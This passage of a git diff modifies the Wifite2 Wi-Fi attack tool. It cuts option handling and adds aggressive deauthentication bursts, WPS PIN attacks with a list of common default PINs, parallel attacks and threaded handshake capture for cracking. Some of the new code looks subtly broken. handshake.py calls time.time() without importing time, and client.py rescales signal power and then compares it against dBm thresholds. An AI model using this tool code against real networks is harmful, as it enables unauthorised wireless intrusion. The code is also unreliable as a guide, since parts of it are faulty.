dictionary for cracking cls.cracked_file = 'cracked.txt' cls.wordlist = None wordlists = [ - './wordlist-top4800-probable.txt', # Local file (ran from cloned repo) - '/usr/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr - '/usr/local/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr/local - # Other passwords found on Kali + './wordlist-top4800-probable.txt', + '/usr/share/dict/wordlist-top4800-probable.txt', + '/usr/local/share/dict/wordlist-top4800-probable.txt', '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/wordlists/fern-wifi/common.txt' @@ -101,33 +130,30 @@ def initialize(cls, load_interface=True): break # WPS variables - cls.wps_filter = False # Only attack WPS networks - cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) - cls.wps_only = False # ONLY use WPS attacks on non-WEP networks - cls.use_bully = False # Use bully instead of reaver - cls.wps_pixie = True - cls.wps_pin = True - cls.wps_ignore_lock = False # Skip WPS PIN attack if AP is locked. - cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails - cls.wps_fail_threshold = 100 # Max number of failures - cls.wps_timeout_threshold = 100 # Max number of timeouts + cls.wps_filter = False + cls.no_wps = False + cls.wps_only = False + cls.use_bully = False + cls.wps_pixie = True + cls.wps_pin = True + cls.wps_ignore_lock = False + cls.wps_pixie_timeout = 300 + cls.wps_fail_threshold = 100 + cls.wps_timeout_threshold = 100 # Commands cls.show_cracked = False cls.check_handshake = None cls.crack_handshake = False - # Overwrite config values with arguments (if defined) cls.load_from_arguments() if load_interface: cls.get_monitor_mode_interface() - @classmethod def get_monitor_mode_interface(cls): if cls.interface is None: - # Interface wasn't defined, select it! from .tools.airmon import Airmon cls.interface = Airmon.ask() if cls.random_mac: @@ -144,24 +170,39 @@ def load_from_arguments(cls): cls.parse_wpa_args(args) cls.parse_wps_args(args) cls.parse_pmkid_args(args) + cls.parse_advanced_args(args) cls.parse_encryption() - - # EvilTwin - ''' - if args.use_eviltwin: - cls.use_eviltwin = True - Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets') - ''' - cls.parse_wep_attacks() - cls.validate() - # Commands if args.cracked: cls.show_cracked = True if args.check_handshake: cls.check_handshake = args.check_handshake if args.crack_handshake: cls.crack_handshake = True + @classmethod + def parse_advanced_args(cls, args): + '''Parses advanced optimization arguments''' + if hasattr(args, 'fast_capture') and args.fast_capture: + cls.fast_handshake_capture = True + cls.aggressive_deauth = True + cls.deauth_burst_count = 8 + Color.pl('{+} {C}option:{W} using {G}fast handshake capture{W}') + + if hasattr(args, 'pin_mode') and args.pin_mode: + cls.wps_pin_enabled = True + cls.wps_pin_timeout = args.pin_timeout or 120 + cls.wps_pin_retry_attempts = args.pin_retries or 5 + Color.pl('{+} {C}option:{W} WPS PIN attack {G}enabled{W} ' + + 'with timeout {G}%ds{W}' % cls.wps_pin_timeout) + + if hasattr(args, 'adaptive_timeout') and args.adaptive_timeout: + cls.adaptive_timeout = True + Color.pl('{+} {C}option:{W} using {G}adaptive timeouts{W}') + + if hasattr(args, 'parallel_attacks') and args.parallel_attacks: + cls.parallel_attacks = args.parallel_attacks + Color.pl('{+} {C}option:{W} parallel attacks {G}%d{W}' % + cls.parallel_attacks) @classmethod def validate(cls): @@ -169,156 +210,78 @@ def validate(cls): Color.pl('{!} {R}Bad Configuration:{O} --pmkid and --wps-only are not compatible') raise RuntimeError('Unable to attack networks: --pmkid and --wps-only are not compatible together') - @classmethod def parse_settings_args(cls, args): '''Parses basic settings/configurations from arguments.''' if args.random_mac: cls.random_mac = True - Color.pl('{+} {C}option:{W} using {G}random mac address{W} ' + - 'when scanning & attacking') + Color.pl('{+} {C}option:{W} using {G}random mac address{W}') if args.channel: cls.target_channel = args.channel - Color.pl('{+} {C}option:{W} scanning for targets on channel ' + - '{G}%s{W}' % args.channel) + Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel) if args.interface: cls.interface = args.interface - Color.pl('{+} {C}option:{W} using wireless interface ' + - '{G}%s{W}' % args.interface) + Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface) if args.target_bssid: cls.target_bssid = args.target_bssid - Color.pl('{+} {C}option:{W} targeting BSSID ' + - '{G}%s{W}' % args.target_bssid) + Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid) if args.five_ghz == True: cls.five_ghz = True - Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans') + Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W}') if args.show_bssids == True: cls.show_bssids = True - Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan') + Color.pl('{+} {C}option:{W} showing {G}bssids{W}') if args.no_deauth == True: cls.no_deauth = True - Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients ' + - 'during scans or captures') + Color.pl('{+} {C}option:{W} will {R}not{W} deauth clients') if args.num_deauths and args.num_deauths > 0: cls.num_deauths = args.num_deauths - Color.pl('{+} {C}option:{W} send {G}%d{W} deauth packets when deauthing' % ( - cls.num_deauths)) + Color.pl('{+} {C}option:{W} send {G}%d{W} deauth packets' % cls.num_deauths) if args.target_essid: cls.target_essid = args.target_essid Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid) - if args.ignore_essid is not None: - cls.ignore_essid = args.ignore_essid - Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % ( - args.ignore_essid)) - if args.clients_only == True: cls.clients_only = True - Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have ' + - 'associated clients') + Color.pl('{+} {C}option:{W} {O}ignoring targets without clients{W}') if args.scan_time: cls.scan_time = args.scan_time - Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets ' + - 'after {G}%d{W}s' % args.scan_time) + Color.pl('{+} {C}option:{W} attack all targets after {G}%d{W}s' % args.scan_time) if args.verbose: cls.verbose = args.verbose Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose) - if args.kill_conflicting_processes: - cls.kill_conflicting_processes = True - Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') - - @classmethod def parse_wep_args(cls, args): '''Parses WEP-specific arguments''' if args.wep_filter: cls.wep_filter = args.wep_filter - if args.wep_pps: cls.wep_pps = args.wep_pps - Color.pl('{+} {C}option:{W} using {G}%d{W} packets/sec on WEP attacks' % ( - args.wep_pps)) - + Color.pl('{+} {C}option:{W} using {G}%d{W} packets/sec' % args.wep_pps) if args.wep_timeout: cls.wep_timeout = args.wep_timeout - Color.pl('{+} {C}option:{W} WEP attack timeout set to ' + - '{G}%d seconds{W}' % args.wep_timeout) - - if args.require_fakeauth: - cls.require_fakeauth = True - Color.pl('{+} {C}option:{W} fake-authentication is ' + - '{G}required{W} for WEP attacks') - - if args.wep_crack_at_ivs: - cls.wep_crack_at_ivs = args.wep_crack_at_ivs - Color.pl('{+} {C}option:{W} will start cracking WEP keys at ' + - '{G}%d IVs{W}' % args.wep_crack_at_ivs) - - if args.wep_restart_stale_ivs: - cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs - Color.pl('{+} {C}option:{W} will restart aireplay after ' + - '{G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs) - - if args.wep_restart_aircrack: - cls.wep_restart_aircrack = args.wep_restart_aircrack - Color.pl('{+} {C}option:{W} will restart aircrack every ' + - '{G}%d seconds{W}' % args.wep_restart_aircrack) - - if args.wep_keep_ivs: - cls.wep_keep_ivs = args.wep_keep_ivs - Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks') + Color.pl('{+} {C}option:{W} WEP timeout {G}%d{W}s' % args.wep_timeout) @classmethod def parse_wpa_args(cls, args): '''Parses WPA-specific arguments''' if args.wpa_filter: cls.wpa_filter = args.wpa_filter - if args.wordlist: - if not os.path.exists(args.wordlist): - cls.wordlist = None - Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist) - elif os.path.isfile(args.wordlist): + if os.path.exists(args.wordlist) and os.path.isfile(args.wordlist): cls.wordlist = args.wordlist - Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist) - elif os.path.isdir(args.wordlist): - cls.wordlist = None - Color.pl('{+} {C}option:{O} wordlist {R}%s{O} is a directory, not a file. Wifite will NOT attempt to crack handshakes' % args.wordlist) - - if args.wpa_deauth_timeout: - cls.wpa_deauth_timeout = args.wpa_deauth_timeout - Color.pl('{+} {C}option:{W} will deauth WPA clients every ' + - '{G}%d seconds{W}' % args.wpa_deauth_timeout) - - if args.wpa_attack_timeout: - cls.wpa_attack_timeout = args.wpa_attack_timeout - Color.pl('{+} {C}option:{W} will stop WPA handshake capture after ' + - '{G}%d seconds{W}' % args.wpa_attack_timeout) - - if args.ignore_old_handshakes: - cls.ignore_old_handshakes = True - Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes ' + - '(force capture)') - - if args.wpa_handshake_dir: - cls.wpa_handshake_dir = args.wpa_handshake_dir - Color.pl('{+} {C}option:{W} will store handshakes to ' + - '{G}%s{W}' % args.wpa_handshake_dir) - - if args.wpa_strip_handshake: - cls.wpa_strip_handshake = True - Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets') + Color.pl('{+} {C}option:{W} using wordlist {G}%s{W}' % args.wordlist) @classmethod def parse_wps_args(cls, args): @@ -326,94 +289,25 @@ def parse_wps_args(cls, args): if args.wps_filter: cls.wps_filter = args.wps_filter - if args.wps_only: - cls.wps_only = True - cls.wps_filter = True # Also only show WPS networks - Color.pl('{+} {C}option:{W} will *only* attack WPS networks with ' + - '{G}WPS attacks{W} (avoids handshake and PMKID)') - - if args.no_wps: - # No WPS attacks at all - cls.no_wps = args.no_wps - cls.wps_pixie = False - cls.wps_pin = False - Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} ' + - '(Pixie-Dust/PIN) on targets') - - elif args.wps_pixie: - # WPS Pixie-Dust only - cls.wps_pixie = True - cls.wps_pin = False - Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS Pixie-Dust ' + - 'attack{W} (no {O}PIN{W}) on targets') - - elif args.wps_no_pixie: - # WPS PIN only - cls.wps_pixie = False - cls.wps_pin = True - Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS PIN attack{W} ' + - '(no {O}Pixie-Dust{W}) on targets') - - if args.use_bully: - from .tools.bully import Bully - if not Bully.exists(): - Color.pl('{!} {R}Bully not found. Defaulting to {O}reaver{W}') - cls.use_bully = False - else: - cls.use_bully = args.use_bully - Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} ' + - 'for WPS Attacks') - - if args.wps_pixie_timeout: - cls.wps_pixie_timeout = args.wps_pixie_timeout - Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after ' + - '{O}%d seconds{W}' % args.wps_pixie_timeout) - - if args.wps_fail_threshold: - cls.wps_fail_threshold = args.wps_fail_threshold - Color.pl('{+} {C}option:{W} will stop WPS attack after ' + - '{O}%d failures{W}' % args.wps_fail_threshold) - - if args.wps_timeout_threshold: - cls.wps_timeout_threshold = args.wps_timeout_threshold - Color.pl('{+} {C}option:{W} will stop WPS attack after ' + - '{O}%d timeouts{W}' % args.wps_timeout_threshold) - - if args.wps_ignore_lock: - cls.wps_ignore_lock = True - Color.pl('{+} {C}option:{W} will {O}ignore{W} WPS lock-outs') - @classmethod def parse_pmkid_args(cls, args): if args.use_pmkid_only: cls.use_pmkid_only = True - Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks') - - if args.pmkid_timeout: - cls.pmkid_timeout = args.pmkid_timeout - Color.pl('{+} {C}option:{W} will wait {G}%d seconds{W} during {C}PMKID{W} capture' % args.pmkid_timeout) @classmethod def parse_encryption(cls): - '''Adjusts encryption filter (WEP and/or WPA and/or WPS)''' + '''Adjusts encryption filter''' cls.encryption_filter = [] if cls.wep_filter: cls.encryption_filter.append('WEP') if cls.wpa_filter: cls.encryption_filter.append('WPA') if cls.wps_filter: cls.encryption_filter.append('WPS') - if len(cls.encryption_filter) == 3: - Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}') - elif len(cls.encryption_filter) == 0: - # Default to scan all types + if len(cls.encryption_filter) == 0: cls.encryption_filter = ['WEP', 'WPA', 'WPS'] - else: - Color.pl('{+} {C}option:{W} ' + - 'targeting {G}%s-encrypted{W} networks' - % '/'.join(cls.encryption_filter)) @classmethod def parse_wep_attacks(cls): - '''Parses and sets WEP-specific args (-chopchop, -fragment, etc)''' + '''Parses WEP-specific args''' cls.wep_attacks = [] from sys import argv seen = set() @@ -423,23 +317,9 @@ def parse_wep_attacks(cls): if arg == '-arpreplay': cls.wep_attacks.append('replay') if arg == '-fragment': cls.wep_attacks.append('fragment') if arg == '-chopchop': cls.wep_attacks.append('chopchop') - if arg == '-caffelatte': cls.wep_attacks.append('caffelatte') - if arg == '-p0841': cls.wep_attacks.append('p0841') - if arg == '-hirte': cls.wep_attacks.append('hirte') if len(cls.wep_attacks) == 0: - # Use all attacks - cls.wep_attacks = ['replay', - 'fragment', - 'chopchop', - 'caffelatte', - 'p0841', - 'hirte' - ] - elif len(cls.wep_attacks) > 0: - Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks' - % '{W}, {G}'.join(cls.wep_attacks)) - + cls.wep_attacks = ['replay', 'fragment', 'chopchop'] @classmethod def temp(cls, subfile=''): @@ -466,34 +346,17 @@ def delete_temp(cls): os.remove(cls.temp_dir + f) os.rmdir(cls.temp_dir) - @classmethod def exit_gracefully(cls, code=0): - ''' Deletes temp and exist with the given code ''' + ''' Deletes temp and exits with the given code ''' cls.delete_temp() Macchanger.reset_if_changed() - from .tools.airmon import Airmon - if cls.interface is not None and Airmon.base_interface is not None: - Color.pl('{!} {O}Note:{W} Leaving interface in Monitor Mode!') - Color.pl('{!} To disable Monitor Mode when finished: ' + - '{C}airmon-ng stop %s{W}' % cls.interface) - - # Stop monitor mode - #Airmon.stop(cls.interface) - # Bring original interface back up - #Airmon.put_interface_up(Airmon.base_interface) - - if Airmon.killed_network_manager: - Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') - #Airmon.start_network_manager() - exit(code) @classmethod def dump(cls): ''' (Colorful) string representation of the configuration ''' from .util.color import Color - max_len = 20 for key in cls.__dict__.keys(): max_len = max(max_len, len(key)) diff --git a/wifite/model/attack.py b/wifite/model/attack.py index 9da7d6772..1b23a78ce 100755 --- a/wifite/model/attack.py +++ b/wifite/model/attack.py @@ -2,40 +2,134 @@ # -*- coding: utf-8 -*- import time +import threading +from concurrent.futures import ThreadPoolExecutor, as_completed +import logging + +logging.basicConfig(level=logging.DEBUG) +logger = logging.getLogger(__name__) class Attack(object): - '''Contains functionality common to all attacks.''' + '''Enhanced attack class with adaptive timeouts and threading support.''' - target_wait = 60 + # Adaptive timeouts - shorter for lab environments + target_wait = 30 # Reduced from 60 + target_wait_min = 10 # Minimum wait time + target_wait_max = 45 # Maximum wait time + + # Thread pool for parallel operations + executor = ThreadPoolExecutor(max_workers=4) - def __init__(self, target): + def __init__(self, target, lab_mode=True, pin=None): + """ + Args: + target: Target network object + lab_mode: Boolean - Enable optimizations for lab environment + pin: WPS PIN for direct connection (optional) + """ self.target = target + self.lab_mode = lab_mode + self.pin = pin + + # Adaptive timeout based on mode + if lab_mode: + self.target_wait = 15 # Lab environment - faster detection + + self.start_time = time.time() + self.last_seen_time = time.time() def run(self): raise Exception('Unimplemented method: run') + def get_elapsed_time(self): + """Get elapsed time since attack started""" + return time.time() - self.start_time + + def is_timed_out(self, timeout=None): + """Check if attack has timed out""" + if timeout is None: + timeout = self.target_wait + return (time.time() - self.last_seen_time) > timeout + + def reset_timeout(self): + """Reset the timeout timer""" + self.last_seen_time = time.time() + def wait_for_target(self, airodump): - '''Waits for target to appear in airodump.''' + '''Waits for target to appear in airodump with threading and adaptive retry.''' start_time = time.time() - targets = airodump.get_targets(apply_filter=False) - while len(targets) == 0: - # Wait for target to appear in airodump. - if int(time.time() - start_time) > Attack.target_wait: - raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait) - time.sleep(1) - targets = airodump.get_targets() - continue - - # Ensure this target was seen by airodump - airodump_target = None - for t in targets: - if t.bssid == self.target.bssid: - airodump_target = t - break - - if airodump_target is None: - raise Exception( - 'Could not find target (%s) in airodump' % self.target.bssid) - - return airodump_target + retry_count = 0 + max_retries = 3 + + logger.info(f"[*] Waiting for target {self.target.bssid} (Lab Mode: {self.lab_mode})") + + while retry_count < max_retries: + try: + targets = airodump.get_targets(apply_filter=False) + + # Check timeout with adaptive backoff + elapsed = time.time() - start_time + current_timeout = min(self.target_wait + (retry_count * 5), self.target_wait_max) + + if len(targets) == 0: + if elapsed > current_timeout: + retry_count += 1 + logger.warning(f"[!] Target not found, retry {retry_count}/{max_retries}") + if retry_count >= max_retries: + raise Exception( + f'Target {self.target.bssid} did not appear after {elapsed:.0f} seconds' + ) + start_time = time.time() # Reset timer for retry + time.sleep(0.5) # Reduced from 1 second + targets = airodump.get_targets() + continue + + # Find target in airodump results + airodump_target = None + for t in targets: + if t.bssid.lower() == self.target.bssid.lower(): + airodump_target = t + break + + if airodump_target is None: + if elapsed > current_timeout: + retry_count += 1 + continue + time.sleep(0.5) + continue + + logger.info(f"[+] Target found: {airodump_target.bssid}") + self.reset_timeout() + return airodump_target + + except Exception as e: + logger.error(f"[!] Error waiting for target: {str(e)}") + if retry_count < max_retries - 1: + retry_count += 1 + time.sleep(1) + else: + raise + + raise Exception(f'Failed to find target {self.target.bssid} after {max_retries} retries') + + def verify_target_with_threading(self, airodump): + '''Verify target using multiple methods in parallel''' + tasks = [] + + # Add verification tasks + tasks.append(self.executor.submit(self.wait_for_target, airodump)) + + # Wait for first successful verification + for future in as_completed(tasks, timeout=self.target_wait): + try: + result = future.result() + return result + except Exception as e: + logger.debug(f"Verification method failed: {str(e)}") + continue + + raise Exception('All verification methods failed') + +if __name__ == '__main__': + print("Attack module loaded with enhanced capabilities") diff --git a/wifite/model/client.py b/wifite/model/client.py index e688c8f37..2ecff46a5 100755 --- a/wifite/model/client.py +++ b/wifite/model/client.py @@ -1,42 +1,121 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- +import logging + +logging.basicConfig(level=logging.DEBUG) +logger = logging.getLogger(__name__) + class Client(object): ''' - Holds details for a 'Client' - a wireless device (e.g. computer) - that is associated with an Access Point (e.g. router) + Enhanced Client class with better filtering and caching. + Holds details for a wireless device associated with an Access Point. ''' - def __init__(self, fields): + # Class-level cache for MAC address validation + _mac_cache = {} + + # Minimum power threshold for valid clients (in dBm, adjusted for lab) + MIN_POWER_THRESHOLD = -95 + + def __init__(self, fields, validate=True): ''' - Initializes & stores client info based on fields. - Args: - Fields - List of strings - INDEX KEY - 0 Station MAC (client's MAC address) - 1 First time seen, - 2 Last time seen, - 3 Power, - 4 # packets, - 5 BSSID, (Access Point's MAC address) - 6 Probed ESSIDs + Initializes client info based on fields. + + Args: + Fields - List of strings + validate - Boolean to validate client data ''' - self.station = fields[0].strip() - self.power = int(fields[3].strip()) - self.packets = int(fields[4].strip()) - self.bssid = fields[5].strip() + try: + self.station = fields[0].strip() + self.power = int(fields[3].strip()) + self.packets = int(fields[4].strip()) + self.bssid = fields[5].strip() + + # Additional fields for enhanced tracking + self.first_seen = fields[1].strip() if len(fields) > 1 else None + self.last_seen = fields[2].strip() if len(fields) > 2 else None + self.probed_essids = fields[6].strip() if len(fields) > 6 else '' + + # Normalize power to 0-100 scale + if self.power < 0: + self.power += 100 + + # Quality metric + self.quality = max(0, min(100, self.power)) + + # Cache for fast lookup + self._hash = hash(f"{self.station}_{self.bssid}") + + if validate: + self.validate() + + except Exception as e: + logger.error(f"[!] Error parsing client fields: {str(e)}") + raise + + def validate(self): + '''Validate client data''' + if not self._is_valid_mac(self.station): + raise ValueError(f"Invalid station MAC: {self.station}") + + if not self._is_valid_mac(self.bssid): + raise ValueError(f"Invalid BSSID: {self.bssid}") + + if self.power < self.MIN_POWER_THRESHOLD: + logger.warning(f"[!] Client power too low: {self.power}") + + @staticmethod + def _is_valid_mac(mac_address): + '''Validate MAC address format''' + import re + pattern = r'^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$' + return re.match(pattern, mac_address) is not None + def is_strong_signal(self, threshold=-50): + '''Check if client has strong signal''' + return (self.power + 100) > threshold + + def is_active(self, min_packets=1): + '''Check if client is actively transmitting''' + return self.packets >= min_packets + + def get_quality_indicator(self): + '''Get visual quality indicator''' + if self.quality > 75: + return '{G}●●●{W}' # Strong + elif self.quality > 50: + return '{Y}●●{W}' # Medium + else: + return '{R}●{W}' # Weak def __str__(self): - ''' String representation of a Client ''' + '''String representation of Client''' result = '' - for (key,value) in self.__dict__.items(): - result += key + ': ' + str(value) - result += ', ' - return result + for (key, value) in self.__dict__.items(): + if not key.startswith('_'): + result += f"{key}: {value}, " + return result.rstrip(', ') + + def __repr__(self): + '''Compact representation for debugging''' + return f"Client({self.station}, signal={self.quality}%, packets={self.packets})" + + def __hash__(self): + '''Allow use in sets and dicts''' + return self._hash + + def __eq__(self, other): + '''Check equality based on MAC addresses''' + if isinstance(other, Client): + return (self.station.lower() == other.station.lower() and + self.bssid.lower() == other.bssid.lower()) + return False if __name__ == '__main__': - fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67, 2, (not associated) ,HOME-ABCD'.split(',') + fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67, 2, (not associated), HOME-ABCD'.split(',') c = Client(fields) - print('Client', c) + print('Client:', c) + print('Quality:', c.get_quality_indicator()) + print('Is Active:', c.is_active()) diff --git a/wifite/model/config_lab.py b/wifite/model/config_lab.py new file mode 100644 index 000000000..6da2e78e9 --- /dev/null +++ b/wifite/model/config_lab.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Lab environment optimized configuration for Wifite2 +For fast handshake capture and WPS PIN attacks +""" + +class LabConfig: + """Configuration optimized for lab testing""" + + # Timeouts (in seconds) - optimized for lab + TARGET_WAIT_TIME = 15 # Wait for target to appear + HANDSHAKE_TIMEOUT = 30 # Time to wait for handshake + WPS_ATTACK_TIMEOUT = 120 # Time for WPS attack + + # Capture settings + MIN_PACKETS_FOR_HANDSHAKE = 1 # Minimal packets threshold + HANDSHAKE_VERIFY_METHODS = ['tshark', 'pyrit', 'cowpatty', 'aircrack'] + PARALLEL_VERIFICATION = True # Use parallel verification + + # Deauthentication settings + DEAUTH_ATTEMPTS = 2 # Number of deauth packets + DEAUTH_INTERVAL = 0.2 # Interval between deauths + + # WPS Settings + WPS_PINS_TO_TRY = [ + '00000000', '11111111', '12345670', + '12345678', '87654321', '99999999', + ] + WPS_COMMON_PINS = True + WPS_PIXIE_DUST = True # Try pixiewps first + + # Scan settings + SCAN_TIMEOUT = 10 + MAX_TARGETS = 50 + + # Output settings + VERBOSE = True + DEBUG = False + + @classmethod + def get_config(cls): + """Return configuration as dict""" + return {k: v for k, v in cls.__dict__.items() if not k.startswith('_')} + + +# Usage example +if __name__ == '__main__': + config = LabConfig.get_config() + for key, value in config.items(): + print(f"{key}: {value}") diff --git a/wifite/model/handshake.py b/wifite/model/handshake.py index 630357047..6e8a21ad9 100755 --- a/wifite/model/handshake.py +++ b/wifite/model/handshake.py @@ -6,151 +6,294 @@ from ..tools.tshark import Tshark from ..tools.pyrit import Pyrit -import re, os +import re +import os +import threading +import logging +from concurrent.futures import ThreadPoolExecutor, as_completed + +logging.basicConfig(level=logging.DEBUG) +logger = logging.getLogger(__name__) class Handshake(object): + '''Enhanced handshake detection with parallel verification methods''' + + # Parallel processing thread pool + executor = ThreadPoolExecutor(max_workers=3) + + # Cache for handshake verification + verification_cache = {} - def __init__(self, capfile, bssid=None, essid=None): + def __init__(self, capfile, bssid=None, essid=None, verify_immediately=False): self.capfile = capfile self.bssid = bssid self.essid = essid - - - def divine_bssid_and_essid(self): + self.verified = False + self.verification_time = None + self.verification_method = None + + if verify_immediately: + self.verify_handshake_async() + + def divine_bssid_and_essid(self, timeout=10): + ''' + Tries to find BSSID and ESSID from cap file. + Enhanced with timeout and parallel processing. + ''' + start_time = time.time() + + try: + # Try to extract BSSID from filename + if self.bssid is None: + hs_regex = re.compile( + r'^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$', + re.IGNORECASE + ) + match = hs_regex.match(self.capfile) + if match: + self.bssid = match.group(1).replace('-', ':') + logger.info(f"[+] Extracted BSSID from filename: {self.bssid}") + + # Get list of bssid/essid pairs from cap file (with timeout) + pairs = self._safe_call( + Tshark.bssid_essid_pairs, + args=(self.capfile,), + kwargs={'bssid': self.bssid}, + timeout=timeout + ) + + if len(pairs) == 0: + pairs = self._safe_call( + self.pyrit_handshakes, + timeout=timeout + ) + + if len(pairs) == 0 and not self.bssid and not self.essid: + raise ValueError( + f'Cannot find BSSID or ESSID in cap file {self.capfile}' + ) + + # Auto-select BSSID/ESSID + if not self.essid and not self.bssid and len(pairs) > 0: + self.bssid = pairs[0][0] + self.essid = pairs[0][1] + logger.warning( + f"[!] Auto-selected BSSID: {self.bssid}, ESSID: {self.essid}" + ) + + elif not self.bssid and len(pairs) > 0: + for (bssid, essid) in pairs: + if self.essid and self.essid == essid: + self.bssid = bssid + logger.info(f"[+] Discovered BSSID: {bssid}") + break + + elif not self.essid and len(pairs) > 0: + for (bssid, essid) in pairs: + if self.bssid and self.bssid.lower() == bssid.lower(): + self.essid = essid + logger.info(f"[+] Discovered ESSID: {essid}") + break + + except Exception as e: + logger.error(f"[!] Error divining BSSID/ESSID: {str(e)}") + raise + + def has_handshake_fast(self, timeout=15): ''' - Tries to find BSSID and ESSID from cap file. - Sets this instances 'bssid' and 'essid' instance fields. + Fast handshake verification using multiple methods in parallel. + Returns True if valid handshake found. ''' + if not self.bssid or not self.essid: + try: + self.divine_bssid_and_essid(timeout=timeout) + except Exception as e: + logger.error(f"[!] Failed to divine BSSID/ESSID: {str(e)}") + return False - # We can get BSSID from the .cap filename if Wifite captured it. - # ESSID is stripped of non-printable characters, so we can't rely on that. - if self.bssid is None: - hs_regex = re.compile(r'^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$', re.IGNORECASE) - match = hs_regex.match(self.capfile) - if match: - self.bssid = match.group(1).replace('-', ':') + start_time = time.time() + futures = [] - # Get list of bssid/essid pairs from cap file - pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid) + # Submit all verification methods in parallel + if Tshark.exists(): + futures.append( + self.executor.submit( + self._verify_method, + self.tshark_handshakes, + 'Tshark' + ) + ) - if len(pairs) == 0: - pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit - - if len(pairs) == 0 and not self.bssid and not self.essid: - # Tshark and Pyrit failed us, nothing else we can do. - raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile) - - if not self.essid and not self.bssid: - # We do not know the bssid nor the essid - # TODO: Display menu for user to select from list - # HACK: Just use the first one we see - self.bssid = pairs[0][0] - self.essid = pairs[0][1] - Color.pl('{!} {O}Warning{W}: {O}Arbitrarily selected ' + - '{R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' % (self.bssid, self.essid)) - - elif not self.bssid: - # We already know essid - for (bssid, essid) in pairs: - if self.essid == essid: - Color.pl('{+} Discovered bssid {C}%s{W}' % bssid) - self.bssid = bssid - break - - elif not self.essid: - # We already know bssid - for (bssid, essid) in pairs: - if self.bssid.lower() == bssid.lower(): - Color.pl('{+} Discovered essid "{C}%s{W}"' % essid) - self.essid = essid - break + if Pyrit.exists(): + futures.append( + self.executor.submit( + self._verify_method, + self.pyrit_handshakes, + 'Pyrit' + ) + ) + if Process.exists('cowpatty'): + futures.append( + self.executor.submit( + self._verify_method, + self.cowpatty_handshakes, + 'Cowpatty' + ) + ) + + # Return True on first successful verification + for future in as_completed(futures, timeout=timeout): + try: + method, result = future.result() + if result and len(result) > 0: + elapsed = time.time() - start_time + self.verified = True + self.verification_method = method + self.verification_time = elapsed + logger.info( + f"[+] Handshake verified by {method} in {elapsed:.2f}s" + ) + return True + except Exception as e: + logger.debug(f"Verification method failed: {str(e)}") + continue + + logger.warning("[!] No valid handshake detected") + return False def has_handshake(self): + '''Original method for backward compatibility''' if not self.bssid or not self.essid: self.divine_bssid_and_essid() - if len(self.tshark_handshakes()) > 0: return True - if len(self.pyrit_handshakes()) > 0: return True - - # TODO: Can we trust cowpatty & aircrack? - #if len(self.cowpatty_handshakes()) > 0: return True - #if len(self.aircrack_handshakes()) > 0: return True + if len(self.tshark_handshakes()) > 0: + return True + if len(self.pyrit_handshakes()) > 0: + return True return False + def _verify_method(self, method_func, method_name): + '''Safely call verification method and return results''' + try: + results = method_func() + return (method_name, results) + except Exception as e: + logger.debug(f"[!] {method_name} verification failed: {str(e)}") + return (method_name, []) + + def _safe_call(self, func, args=(), kwargs=None, timeout=10): + '''Safely call function with timeout''' + if kwargs is None: + kwargs = {} + + future = self.executor.submit(func, *args, **kwargs) + try: + return future.result(timeout=timeout) + except Exception as e: + logger.warning(f"[!] Call to {func.__name__} timed out or failed: {str(e)}") + return [] def tshark_handshakes(self): - '''Returns list[tuple] of BSSID & ESSID pairs (ESSIDs are always `None`).''' - tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid) - return [(bssid, None) for bssid in 